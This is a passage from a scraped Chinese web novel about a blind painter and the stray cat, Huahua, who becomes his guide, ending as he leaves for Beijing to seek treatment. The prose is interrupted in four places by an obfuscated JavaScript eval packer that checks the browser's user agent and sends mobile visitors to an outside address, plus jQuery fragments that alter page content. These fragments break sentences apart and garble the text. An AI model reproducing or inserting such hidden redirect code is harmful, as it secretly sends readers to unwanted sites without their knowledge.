“啥?花花?!”那头的季川呛了一声,随即笑得直不起腰,那笑意里的戏谑从手机里清晰地传到顾川耳朵里,他似乎还在那头用力地拍着什么东西,“花花?花花……你说这名字好听?文雅?顾寻声啊顾寻声,你这名字不会是照着小卖部李大婶那只瘸腿胖橘大花起的吧?大花?花花?文雅!真够文雅!没想到你取出这么有水平的名字,佩服,我佩服!” 季川乐得不行,连珠炮式地攻击顾寻声。 顾寻声:“……滚。” 季川抑制不住又笑了两声,估摸着顾寻声的耐力差不多,赶忙憋住笑说了一句,“我叫了早饭,给你送一份儿,快到了,你赶紧起来准备吃饭哈。” 季川提前挂了电话,圆溜儿地滚了。 顾寻声听着他最后留下的言语里都带着笑意,有些无语。花花不好听吗?他也是想了半天的好不好。 “花花。花花。”他念叨了两次,觉得挺好听的。 季川那家伙知道个屁。 起床刚走出门,顾寻声就感觉到脚边一点毛茸茸的触感,“是花花吗?” 小猫“喵~”了一声。 顾寻声嘴角微扬,看看,花花明明很喜欢自己给它起的这个名字。 早饭后顾寻声本来打算陪小毛团子玩一会儿玩具,季川又上门了。 怕顾寻声又嫌他一天找他八百遍不务正业,季川赶紧举了举手里拎着的袋子,“拿了驱虫的药过来,给你家花花点上,隔两天再洗个澡,它就能进屋陪你睡觉了。” 顾寻声嗯了一声,他不懂这个。而季川语气里又一幅跃跃欲试的样子,他就想交给季川帮忙给花花做驱虫。 季川一手拿着驱虫药,一手嘿嘿嘿地笑着,像个怪大叔一样靠近正蹲在沙发扶手上警惕地瞅着他的小毛团子,“正好,我还不知道花花是什么性别呢。来,乖乖地,不害怕,叔叔会轻一点……” 顾寻声:“……”声音听着多少有点像变态了。 季川蹑手蹑脚,走到面前的时候猛地扑过去,然而灵巧的小毛团子一个撤身,跃上沙发背,然后就轻巧地弹射到地上,落在了顾寻声身后。 季川:“啊啊啊!这小不点也太灵活了吧!看我绝技——猫猫擒拿手!我抓!嘿!我还不信了,我再抓!” 小毛团子和季川绕着顾寻声身周上演起了它逃他追它身轻如燕他无能狂怒的剧情,顾寻声无语,谁能把这个幼稚的二货赶紧带走。 “季川,你——”顾寻声的声音响起。 季川赶紧停下,举手投降,“药给你,我教你点。”他这位发小从小待人礼貌客气,一向都是温温柔柔的模样,但对他可是忍耐力不高。真把顾寻声惹急了,真能把他立刻扫地出门。 顾寻声懒得搭理它,蹲下来唤过花花。等手里摸到花花的触感,照着季川说的给它的后脖颈皮上点了些药,他又觉得还是自己学会了好,学会了以后就能自己给花花做驱虫了。 季川趁着这当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401738|200423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口儿,终于逮着机会偷偷朝小毛团子屁股那儿看了一眼,“嘿,公的。” 他拍了拍顾寻声的肩膀,语带稳重的祝福:“恭喜了这位爸爸,是个儿子。” 顾寻声抬脚就踹。季川哈哈大笑着躲了开去,一蒙头就往门边跑,跑到门边留下一句:“下午观察一下你儿子,没什么反应就是没事。哦,对了,我妈让我喊你晚上来我家吃饭,我下班就来接你。”立刻就推门出去了。 季川跑得太快,根本不给顾寻声拒绝的机会。 顾寻声朝大门的方向望了望,嘴张了张,没说话。 他失明这一个月,估计也是让季川一家子操心惦记了,但是去吃饭…… 他从小跟季川玩在一起,都把彼此的家当自己的家。他父母相继离世之后,季川爸妈更是把他当亲儿子疼。以前他倒是经常在季川家吃饭,然而现在他眼睛失明,吃饭也不很方便。若是季川爸妈见了他的样子,肯定又要难过。 叹了一口气,顾寻声最终还是默默应了这次邀请。季川爸妈之前就来医院看过他,多少应该有些心理准备吧。如果他不去,可能他们还是觉得他会想不开。 想不开,他也是有过的。顾寻声默默地想着。只是也不过是知道失明的片刻,后来更多的时候他是茫然无措,不知道怎么面对突然完全颠覆了的生活。 顾寻声叫了一声:“花花?” 小毛团子应是一直没离开他身边,这时候只是他一叫,它的小身体就蹭了过来,在他的后脚跟处蹭出一阵柔软温暖的感觉。 “刚刚给你用的是驱虫的药,你还好吗?如果不舒服,记得跟我说。”顾寻声摸索着托着它的小屁股把它抱起来,长身玉立。 那种柔软温暖立刻充盈了他的手掌,让他感觉到一个小小的生命就在他的掌心之间,依恋着他。 顾寻声听着小猫软软地叫了一声,心头方才那种被温水般浸润的感觉又一次涌动起来。被别人这样地关怀着、体贴着,顾寻声不由有些手足无措。 在表达感情和回应感情上,他一向不如季川的。 小毛团子微微动了动,在顾寻声的大手上转了一圈,把下巴搁在顾寻声的手指上,前后蹭了蹭,感觉舒服,又努力地转动着小脑袋来回地蹭着。 全自动式撸猫。 顾寻声不由笑了起来,男人笑起来的时候,整个人气质里的温润流泄出来,仿佛一块莹亮澄澈的玉珏。他配合地用手指挠着小毛团子的下巴,修长的手指不敢用力,只是轻轻地顺着下巴去摸小毛团子脖颈上的短毛。 小毛团子舒服到了,喉咙里发出“呼噜呼噜”的声音。 顾寻声听着,心情不由轻盈了起来,方才那些复杂的心绪此刻都离他远去里。 这个世界里,只剩下了小猫舒服的呼噜声。 顾寻声静静感觉着那呼吸,感觉着触手的温热,前一天遇见小毛团子时那种奇妙的感觉又一次涌上心头。 在失明一个月里,他常常觉得自己像是活在一个玻璃罩子里,再也感觉不到外物的存在。而这一刻,隔在他和现实之间的那层玻璃终于被打碎了。 那不是错觉,小小的生命竟然真的重新建立起了他和现实的联系。 他似乎,又回到了这个真实的世界。 5. 第 5 章 下午季川再来,看到一客厅的摆设的时候简直是震惊。 顾寻声的房子他熟悉得很,除了画室略显得拥挤之外,其他地方一向是比较空荡和整齐的。他还以为这个吐槽过顾寻声的洁癖和臭讲究,当然被顾寻声反过来讽刺了“猪窝都比你客厅干净点。” 就这么样一个顾寻声,此刻竟然把客厅弄得乱七八糟。早上他来的时候还只是看见茶几被“委委屈屈”地推到了靠墙的角落里,“堂而皇之”占据沙发到电视柜之间大片位置的是他再熟悉不过的六个猫窝。挨个摆着,形态各异,蔚为壮观。 他当时还只觉得顾寻声跟自己一样,还挺尊重猫儿子的意愿,把猫窝都摆在那儿任由花花选择,估计选好了就会把其它的收起来,毕竟顾寻声忍不得乱。 没想到一个白天不见,六个猫窝还大大方方地摆在那儿不说,沙发上竟然还随处放着布偶小鱼、小骨头、小老鼠,沙发前的地毯上铺满了逗猫棒、电动老鼠、弹力球……一堆各式各样的玩具。 季川对这些自己带过来的东西门清儿,但是这种“放肆”地摆放方式让他在走进客厅的时候真的有一瞬间怀疑自己是不是走错门了。也许,自己回自己家了? 就离谱啊。 等季川进屋里找人,瞅着顾寻声带着花花进了画室,那扇不常开的门大开着,那盏以前常亮的灯又一次亮起,而顾寻声就抱着猫坐在画板面前的时候,季川真的惊讶到失语了。 “寻子,”季川忍不住叫了一声,“你没事吧?” 顾寻声摇头,“没事,带花花看看。花花喜欢。” 季川咂咂嘴,走进来,看着花花伸爪子去勾画板上盖着的白布,摇头叹气,“你还真宠你儿子啊寻子,想想以前你嘲讽我猫奴的嘴脸,哎呀,真后悔没录下来,要不然现在就能直接甩你脸上了,那得多爽啊。” 顾寻声真想给他翻两个白眼,然后送他一个滚。 季川伸手掀了掀那白布,“这是你之前说的那幅画吧。” 顾寻声嗯了一声,“还差一些没画完呢。”他脑海里还能清晰地回忆起那些凹凸的颜料、未干的笔触、戛然而止的线条。 季川没再说话,气氛一时间有点儿沉默了。 花花回过身舔了舔顾寻声的手,带着些微倒刺的小舌头舔得顾寻声痒痒的。 “走吧。”顾寻声笑了下,把花花放下,对花花说了句,“等我一会儿,我跟这个讨人厌的坏蛋吃个饭就回来。你在家里可以随便做什么,开心就好。” 季·讨人厌的坏蛋·川又在咋舌了,被当面蛐蛐一句,他反而心情大好。原来养个猫就能让顾寻声重新像个活人了,早知道他就应该把自家的胖达、师傅、阿呆都带过来,估计三只猫闹闹腾腾地烦都能让顾寻声烦死。 不过也许也不能。毕竟顾寻声好像对他家那三只不太感冒。 季川思索着,突然瞧着地上那乖乖蹲着的小杂色毛团子顺眼了起来,以迅雷不及掩耳之势揪了一把花花的耳朵,哈哈一笑,“我小侄子还挺乖,嘿嘿,下次带你哥哥姐姐们来跟你玩。” 他说着跑出门去,被意外骚扰到的花花立刻跟着追杀出去。 一人一猫又一次在屋子里开启了追逐战。 顾寻声:这晚饭,今天还能吃上吗? 顾寻声和小毛团子共同生活了几天之后,逐渐对养小猫也有了一点了解。 原来小猫是一种特别特别爱干净的小动物,每天有很多时间都在梳理自己的毛发。他家的花花本来也不脏,洗完澡之后,更是摸起来柔软又顺滑,让他爱不释手。 原来小猫是一种喜欢爬高的生物,经常在高处俯瞰全局。顾寻声有时候叫花花,听着它从猫爬架上利落地蹦跶下来的声音,心里就会默默响起季川给他家胖达的配音——你这卑微的两脚兽。 原来小猫挺能吃的,猫粮、罐头、猫条,还有一些季川带来的各类补这个养那个的,只要是顾寻声拆开的东西,它就没有不感兴趣的。 就连顾寻声自己每次吃东西,花花都要凑过来先闻一闻,品鉴一番,如果是喜欢的,它就嘤嘤嘤地要吃。如果是它不喜欢的,它会再闻一遍确定一下,然后才施施然地再走开。 每次顾寻声被它用毛爪爪按住拿筷子的手,都不由由衷地笑起来。 原来…… 小猫拉屎真的好臭。 顾寻声第一次闻到屎臭味的时候,真怀疑自己被生化武器攻击到了,又或者是谁家厕所炸了。但是后来,他循着臭味到阳台,听到花花的爪子在猫砂盆里“哗啦哗啦——”一阵划拉,感觉到这只小猫正专注地埋屎中—— 他震惊了一会儿,最后憋着笑,又悄悄地回到客厅,装没看见。 小猫真是奇特的生物啊。 一晃两个月的时间过去了。 顾寻声在鞋柜前换了鞋,回头朝屋里示意了一下,“花花,出去玩吗?” 花花正蹲在猫爬架上梳毛,听着声音,立刻轻盈地跃下来蹭到他腿边。看着顾寻声正在拿盲杖,自己就跳上鞋柜,把挂在一边的牵引着叼了下来。 顾寻声感觉到花花把牵引绳挂在了他手上,言语带笑,“花花真棒。” 他熟练地把牵引绳套在花花的身上,经过腋下,摸到毛茸茸的肚子,一边说着“花花真乖”,一边摸到背部,把背扣给按上,感觉到花花在愉快地蹭着他的手背,他也不由地带了一丝雀跃,“走,出发。” 两个月每天固定外出探索,已经让一人一猫建立了默契。 顾寻声对下楼的楼梯有几级,在走到什么地方要迈多大的步子已经熟门熟路。花花四只腿交替,慢慢地走在他身边,一点也不着急。 又一次下了楼,顾寻声已经没有第一次的那种踌躇畏惧,一只手用盲杖敲打着,更多是提醒周围的人车避让,另一只手牵着花花。 路过熟悉的垃圾桶,顾寻声已经会微微往旁边让一让,以免撞到。 楼下那个每天都能看着顾寻声带着猫路过的妇人冲他打招呼,“小顾,又遛弯啊。” 顾寻声笑了一下,“嗯,赵姨。” “今儿天好,”赵姨脸上露出笑容来,又俯身去看淡定地走在顾寻声身边的杂色毛团子,笑容更盛,声音都夹了起来,“花花,又跟你爸出来玩呀,真乖呀,花花真好看,花花真是我见过的最可爱的小猫猫。” 顾寻声嘴角显而易见地又往上提,一脸的骄傲。而花花也不由绷了绷嘴,抬头挺胸,一副顶顶厉害的小模样。 赵姨乐了。 赵姨从两个月以前第一次看顾寻声牵着猫下楼,她看着稀奇,遛狗常见,遛猫嘛,她长这么大还没见过。天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401739|200423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底下竟然还有猫是能遛的? 当时她搭了一句话,夸了猫一声。这猫主子笑得哟,本来就是帅小伙,笑起来好看得她都不由得多盯着看了好几眼。 此后就时常见到一人一猫固定时间出门,每每她夸一句猫,眼前的一主一宠就会露出这样的神色。从第一次的忍俊不禁,到现在的打心眼儿里喜欢,让她每每都凑着顾寻声出门的时机出门遛弯,好遇到这两个。她还每天都提前准备好夸奖词了呢,争取让一人一猫都开心。 顾寻声不知道赵姨的心思,只觉得赵姨说话好听,眼光也好,跟赵姨说了再见之后,带着小毛团子继续往前走,低头对走在身边的小毛团子说:“你看,人家都夸你好看呢。我们花花就是世界上最好看的小猫咪,又乖又好看。至于季川那家伙,他知道个屁,别听他胡说。” 花花:“喵~” 遇到小水坑,花花停下。绳子失去拉拽的力,顾寻声感觉到了,他往旁边小小迈了一步,刚好错开小水坑,继续往前走。 花花:“喵~” 顾寻声:“花花棒!” 走着走着就到了顾寻声第一次出门差点被车撞到的那个拐角,花花在路牙子上蹲下来。顾寻声也早已熟悉这个路口,听了听没什么声音,而花花也迈步走了起来,他就放心地跟着往前走了。 这两个月,他已经完全相信花花的能力了。本来他带花花下楼转转,是怕这个原本是小流浪的毛团子困在家里久了会抑郁,结果下了楼之后,花花竟然完全不会乱跑,始终守在他身边。 它就像是明白他看不见,需要它的帮助一样,摸索着学会了用他手里的牵引绳的松紧来提醒他前面的路上有没有障碍物和危险。 安全的时候,它就会直直往前走,四肢交替向前步子稳健。感觉不太安全的时候,它就会立刻停在了,贴在顾寻声的腿边,以作提醒。 最初顾寻声不太理解,而且他每次下来也就是放放风,不怎么往远处走,所以也没有发现。后来还是季川跟着出门了一趟,发现花花竟然有着很强的护主和导盲能力,还会通过这样地方式传达,一下子简直惊为天猫。 后来季川又认真地在家对花花进行了一番培训,实验了好多次,最后不由得由衷地吐出这样一句话:“这猫是真精真聪明啊,你捡到宝了啊。寻子,你儿子真是天生的导盲猫。唉,除了长得特别丑这一点,你儿子已经没有哪一点比不上我家胖达、师傅和阿呆了。” 顾寻声当时踹了季川一脚之后,也不由感叹,他带回来这只小毛团子的时候,不过是希望这只“救命恩猫”每天能吃饱饱,舒舒服服地晒太阳和睡大觉。 没想到它不仅给他带来了长久想要的陪伴,还成为了他重新有勇气向外走出去的眼睛。 花花:“喵~” 顾寻声:“花花真厉害!花花真棒!” 花花:“喵~” 已经进了五月底,顾寻声已经闻到了草木愈加暖烘的味道,天地之间似乎也慢慢地有了蒸腾的预兆。此刻的老小区里的大花坛,大花坛旁边的树木,一定也是郁郁葱葱,长得非常茂盛了吧。 顾寻声唇角微扬,没有焦距的瞳孔里映出了这一处初夏的浓郁绿意,感觉花花这个小向导好像在侧头看着他等他做决定,他笑着说,“花花,走,去花坛那边看看吧。” 6. 第 6 章 窗外淅淅沥沥地下起雨来,顾寻声抱着花花站在窗前,听着外面的雨声,有些遗憾地说:“今天不能出门了,不然你的猫爪爪要踩脏了。” 花花仰头看着外面的雨丝扫在窗户上,留下一条条水痕,扭头蹭蹭顾寻声的手腕。 “怎么,无聊了?” 顾寻声摸着花花甩来甩去的小尾巴,安抚地拍了拍花花的背,“不出门,就在家里玩吧,我陪你。” 花花又用脑袋顶了顶顾寻声的手掌,顾寻声轻声问:“给你开个罐头吃?” 花花立刻舔了舔他的手指头,以此热切地回应了他。 顾寻声:“哈哈,行,你自己去挑一个吧。” 臂弯里的着实有了些重量的小毛团子跳了下去,一溜儿小跑走在前面。两个多月的喂养,花花早不是三月底那个瘦精瘦精的样子里。现在整个儿长开了,除了下巴还是有些尖尖的,其它地方都往横向拓展了一些。 顾寻声看不见,但一天天地摸着,还是明显地感知到了这种变化,并为这种变化而欣喜。 而他自己呢,在季川时不时地过来照看和帮助之下,在花花一天二十四小时地陪伴之下,他也渐渐习惯了遮住眼前视野的这片灰蒙蒙。他最近在琢磨着学习一下盲文,然后带着花花去更远的地方探索。 昨天下午,他顺利带着花花去了小区门口的超市。虽然走了很久很久,进了超市之后也没买什么,但是当超市的理货工过来问他需要买什么的时候,他还是重新感觉到了自己仍然可以站在阳光之下,仍然可以和别人正常交流,仍然可以好好活下去。 “这个?”顾寻声问。 花花愉快地喵了一声,小尾巴缠上了顾寻声的手腕,黏黏糊糊地缠绕不放。 顾寻声轻笑,开了罐头,守在花花身边听着它吃。失明之前,其实他的日子就过得很快,他几乎所有的时间都在画室和书桌前度过,和许多朝气蓬勃奋进拼搏的同龄人像是活在两个世界里。 而现在,他的时间流动地更慢,视力失去之后,他更多凭借自己的听觉去捕捉外界的信息,他更仔细地去分辨属于花花的那些分贝。 如果命运就是这样戏弄了他,也许颓唐迷茫也没什么作用。就这样接受吧,他还会找到别的方式继续画画,继续他的生活。 虽然,他真的很想再看到那些绚丽的色彩在指尖绽放,那是他的理想,那是他的热爱。虽然,他真的很想亲眼看看花花是什么样子的。大口大口吃罐头的样子也好,在猫爬架上悠闲地舔毛也好,拉伸着身体朝他打哈欠也好,追逐着自己的尾巴转圈圈也好,随便什么,他不想只是想象。 顾寻声带着花花去画室玩了一会儿,整个家里,花花特别地喜欢这间画室。每次进来,顾寻声都能感觉到花花在特别好奇地在整间画室里转来转去,看来看去。 他每每好奇,花花这只小猫,到底在看什么呢?它能看懂什么? 但是花花确实是非常聪明的小猫,连季川都老是在他耳边念叨花花聪明得像是成精了,催他赶紧送花花读大学,免得耽误孩子了。也许花花真的看得懂画上是什么,它只是说不出来。 “花花,”顾寻声指着进门墙上挂的一副画,“你看这幅画,这是我去安省一个村里采风的时候画的。那个村子是非常传统的古建筑群,你看上面的房子的色调和花纹,是不是很特别。那个村子很安静,村里的年轻人大多去外地打工了,所以没什么声音。我在那个村子里待了三天,也就看到了几个老人,偶尔会聚在一起说几句画……村里有很多很多的果子树,那几天正是挂果的时候,一棵树一棵树都是密密的果实,挂在枝头很好看,就是没什么人去摘……” 花花来到他身边,扒着他的裤腿灵活地顺着他的手臂,一溜儿坐到他肩膀上。 顾寻声感觉肩膀一沉,不由笑,“花花长肉了,真好。” 花花的小尾巴又很自然地扫着他的脖颈,他怕花花掉下去,一只手扶着花花的身体,又接着指下面的另一幅画给他介绍,“这一幅是我去山省,回来之后画的。那天我在海边待了很久很久,冬天的海边有积雪,那片海很偏,所以雪上没什么人行走。无边无际的海洋是一种静谧的深蓝,和沙滩上的白拥抱在一起。我一个人在那里走来走去,冷清、肃杀,好像世界只剩下了我一个人……花花还没见过大海对不对,以后带你去看看。” 顾寻声说到这儿又感觉花花歪了歪脑袋,在他脸颊上蹭了一下,又笑了,“大海里有好多花花爱吃的东西呢,也许,到时候可以带花花尝尝海鲜。” 花花又“喵~”地叫了一声,顾寻声心满意足,这叫声的愉快,很明显就是听懂了。 花花是真的听得懂。 顾寻声几乎从未和别人这样详细地介绍过自己画的作品,也从未和别人这样坦诚地分享过自己作画时候的感受。他还摸着画面,跟花花介绍哪一处是哪一种颜料,用得是什么样的画法,当时是怎么考虑的。艺术的创作和现实还是有所不同的,画面得有焦点,有重心,所以要强调什么,舍弃什么。 他一时投入,像是那沉寂了近四个月的热爱一下子如烧开的热水沸腾起来。 顾寻声又给花花介绍自己摆在墙边的油画,他画的油画大多色彩艳丽,整个画面是很丰富的,有得像是有着梦境一般的绚烂梦幻,有得则是铺满了各色花朵的华丽耀眼。每一幅都有着勃发的生命力,看着这些画,似乎又能感觉到这个年轻人身上那种潜藏的很强的生命气息。 他慢慢地说着,这些都是他一笔一笔画出来的画,所以都深深地印在他的脑子里。 在这个下雨的午后,也许人间各处忙,但在这个房间里,一个年轻人抱着他的猫,在给他的猫介绍着他的画。 如果季川在这里,也许会惊掉下巴吧。其实顾寻声一贯是少言的,他更多的时候沉浸在自己的世界里,对周围的事物并不热衷,更不喜欢向别人谈起自身。即使是作为他好兄弟的季川,也从来没有听过顾寻声说这样多的话。 顾寻声一面说着,花花时不时地给以回应,“喵~” “这幅画花花喜欢吗?” “喵~” “这是我画的熊猫,熊猫是国宝,嗯……比季川家的那只胖达可好看多了,他家那只胖达纯属登月碰瓷。”顾寻声吐槽了一句,“登月碰瓷”这个词当然是从季川那听来的。 “喵!” “你也同意对吧,花花聪明。花花看这个,我记得这个是我画的鸟,那天它落在窗外的电线杆上,叫个不停……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401740|200423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “喵~” “下次我给花花也画一个好不好。等以后,家里就挂满花花。” “喵~喵~” “乖花花。” 雨越发大了,天暗得很。已经到了傍晚时候,许多人家已经下了班,后面楼里许多房间亮起了灯光,显得温暖。 顾寻声看不见,但他也觉得温暖。 晚饭时候,季川突然冒雨前来。进门来的时候,身上带着雨水气息,神态还有些奇异的急切。 季川把伞搁进门边的桶里,换了双拖鞋走进客厅。 顾寻声已经在吃饭了。今天他简单地煮了面,加了些虾仁,给花花也分了一些。 反正季川熟门熟路,顾寻声开了门也没管他,自己回桌子边继续吃面。花花的碗也在桌子上,听着季川的动静,花花头都没抬。 “下雨了怎么又过来?”顾寻声问了一句。这些日子他也开始自己照顾自己,做一些简单的饭菜没什么问题,所以他就让季川不用经常过来照看他。 季川凑过来,在人碗和猫碗里瞅了一眼。看小毛团子完全不理他,手欠地快速伸过去把花花的碗往远处推了推,然后“嘿”了一声,就往外面跑。 人猫大战如意料般上演。 顾寻声:“……”花花这么好的小猫不喜欢一个人的时候,这个人真该好好在自己身上找问题。 季川跑了半天,被花花追得直喘气,赶紧举手投降,被花花踹了两脚之后,又赶紧把花花的碗推回原味,才逃离了被追杀的命运。 花花淡定地回到桌上,继续挨着顾寻声吃虾仁。 季川撇撇嘴,哼了一声,“这报复心强的,跟你爹一样一样。” 顾寻声:“叫你手欠。” 季川没话了,他无聊地在屋里转来转去。他几乎每天都来,屋子里也没什么新鲜的,就看到画室的画好像被挪动了,也没怎么放在心上。 等顾寻声吃完饭,他才重新坐到沙发的客厅上,朝着顾寻声说:“寻子,有个事儿……” 真要说出来的时候,季川不知怎么竟然又有些犹豫了。 顾寻声皱皱眉,季川这个性格还少有这种表现,“怎么了?直接说。” 季川沉默了一下,开口:“我爸说,他最近听说京市有个专家,特别擅长看眼睛。对你这样的意外失明,那个医生经验挺足的。” 他说到这儿就停了。 顾寻声明白他的意思。刚刚失明的时候,顾寻声也觉得自己复明的希望还是挺大的,所以那时候他竟然意外地并不十分惊慌,直到四处寻医之后,得到的都是同一套说法,他的心才沉了下去。 这几个月,季川再没提起过找医生看看这件事。但是今天,他竟然又提起来了。 顾寻声相信季川爸爸,也相信季川。他们说这个医生很擅长治意外失明,应该是想让他再试试。但是,这个医生,能治好他吗?远赴京师,会给他带来希望吗? 还是打破此刻的宁静,反复折腾之后,带给他更深的绝望? 房间里一时沉默了。 季川不说话,看着顾寻声。 顾寻声走过来,坐在沙发上,也没有开口。 窗外的雨声越发大了。雨夜,人心浮动。 7. 第 7 章 顾寻声那天其实没有思考太久,就同意了去京市求医。 他真的很想再重新拿起画笔,很想看着花花的模样。他想重新看看那些他熟悉的人,那些他还陌生的人。他想重新看到这个世界。 如果有一线希望…… 季川开心地点头离开。 其实他早跟自家老爹都商议好了,只等顾寻声同意,就立刻收拾东西。之后会由季川爸爸陪着去,季川爸爸特意请了假,还走了京市那边的关系联系那位专家。 如果不能治,也许当天就能回来。如果能治,后续请个周到的护工照顾着就好,左不过耽误个几天。 其实季川更想自己陪着顾寻声去京市,但是画坊那边生意正好,他实在是走不开。而且家里还有三只猫,他且得自己照顾着。 更重要的是,顾寻声家里那只花花,虽然不咋喜欢季川,但到底跟季川还算熟悉。 季川难得正经地跟顾寻声说:“花花跟你天天黏在一起,这次你去京市也许要挺长时间的,也许花花会以为自己被抛弃了,也许会因为想你不好好吃东西。你得上点心,跟花花好好说说怎么回事,告诉它乖乖地跟着我。你放心,我会好好照顾花花。你看看我家那三只,哪只不是油光水滑,每天上窜下跳的?” 顾寻声点头,担心:“你家那三只不会欺负花花吧?” 季川震惊,“就我家那三只,欺负花花?你还不知道你儿子的智商,估计到了我家,三只都不够它玩的。就它那战斗力,我也打不过啊。” 顾寻声:……打不过你还每次都招它。 顾寻声抱着花花,他心里有着和季川相同的担心。把花花带回家以来,他还从来没有很长时间地离开过花花。偶尔出个门,也不过就是去季川家吃个饭,吃完就回家了。 顾寻声像是抱小孩儿一样抱着花花,让它靠在自己的臂弯里。一只大手缓慢地摸着花花的耳朵间,笑,“花花耳朵尖尖的,凉凉的。” 又摸着花花的脑门,摸花花的眼眶,“花花眼睛圆圆的,大大的。” 又摸着花花胸背的毛,“花花的毛好软好软。” 顾寻声轻声说:“花花,好想亲眼看见你。” 花花抬头,小爪子在他掌心里按了按,像是和他对了个掌。顾寻声捏了捏它的小爪子,“花花,我觉得你一定听得明白的对不对?我要离开一段时间,也许就几天,也许会很久。” 他认真地对花花解释着,说起自己当初失明的那场意外事故,说起自己刚失明时的心情,说起和花花在一起的开心,说起自己会在哪一天哪个时间点离开家坐飞机去京市,说起京市那位专家之前治疗的一些案例,说起自己不在家之后季川会带它回家帮助照顾。 顾寻声已经习惯这样对着花花说话了,但是这一次,他难免又更加絮叨了一些。 他感觉花花拱在他怀里,静静地贴着他。像是静静地听着,又像是静静地表达着对他的依恋。 花花总是这样,安静地陪伴着,不吵不闹。 往常季川总是羡慕花花这一点,但此刻,顾寻声觉得心里慢慢地涌起了一阵一阵地酸涩。 两天后,顾寻声去京市了。 季川本来还害怕花花会有情绪,不愿意跟着自己回家。不过真的等送顾寻声去机场之后,推开门,就看见花花在门口的鞋柜上等它。 他忍不住调侃了一句,“咋啦,迫不及待要跟我回家啦,我知道了,一定是因为寻子平常对你不好是不是?” 季川看见小猫在听见“寻子”两个字的时候,耳朵抖了抖,抬头看了一眼他。但听他说完话,小猫却没有一如往常地跳起来追着他要打。 花花一向是容不得季川说顾寻声的坏话的。 小猫安静地趴在鞋柜上看着季川,绿色的猫瞳就像是寂静的森林里缓缓向前流动着的溪水,闪烁着莹莹的微光。 季川一个大男人一下子忍不住,眼泪涌进了眼眶里,他抬手在花花猫头上摸了一把。 “没事的,寻子很快就回来了。我和你一起等他回来。” 季川在屋里收拾了花花常用的猫窝,和花花最近爱吃的猫粮和猫罐头,这些他都问过顾寻声,熟门熟路。等问花花还想带点什么的时候,花花跳到了客厅的电视柜上。 季川走过去看。 竟然是一副油彩还没干的画,画上面是一只毛色有些杂乱的小猫。尖尖的耳朵,圆圆的瞳孔,长长的尾巴。季川虽然不是绘画专业,但是自小跟顾寻声一起长大,后来又开了画坊,对看画还是很专业的。 那画看上去是用手指蘸着颜料涂抹出来的。 那画上的小猫,竟然跟坐在一边的花花十分地相似。 “我靠,这家伙牛啊。都看不见,竟然还画这么像。” “你想带这个走?行,我找个东西包一下,别蹭花了。” “还有别的吗?没了?行。” “走吧,跟我回家。” 季川也没带猫笼子,只是对着花花说了一声,就看到花花跟在他身后往大门走。即将合上那扇门的时候,花花回头望着屋里,季川低头看着它。 等花花转身往前走了,季川才把门关上,跟在花花身后踩着楼梯往楼下走。 “嘿,没想到今儿我也能享受一把遛猫的乐趣。” “那什么,花花,你别害怕,等你到了我家,叔叔我肯定好吃好喝好招待。”季川对着前面轻巧下楼的小猫说着,“我家虽然有三只,但是它们仨加在一起都打不过你。到了我家,你就是大哥,它们都给你当小弟。” 季川家的胖达和师傅,对新来的花花不大友好,嗅来嗅去地还对着花花干嚎。 季川就守在一边,絮絮叨叨地劝,“哎呀,不是跟你们说过了嘛,花花是你们的堂兄弟,大家都是一家猫,不要吵架嘛。胖达,师傅,真不是我背着你们生了四胎,师傅,胖达……” 花花懒得搭理他们,大大方方地在家里四处溜达了一圈,然后看着客厅里的通天柱,一个轻盈地飞跃就跳上了最高层,居高临下地趴在上面,看着下面的一人三猫。 被抢占了自己日常待着的地方,胖达和师傅挨个上去挑衅,在季川惊恐的目光中一个个被花花踹下来,掉进他怀里。 三岁的猫被不满半岁的猫收拾了,想想都悲伤。 胖达和师傅嗷嗷地对着季川告状,季川扶额可怜兮兮,“可是我也打不过它。” 花花:没眼看。 阿呆:呆。 季川:“要不,咱么吃个罐头消消气?” 胖达、师傅、阿呆:“喵~~~” 顾寻声那边飞机落地,视频电话就打了过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401741|200423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 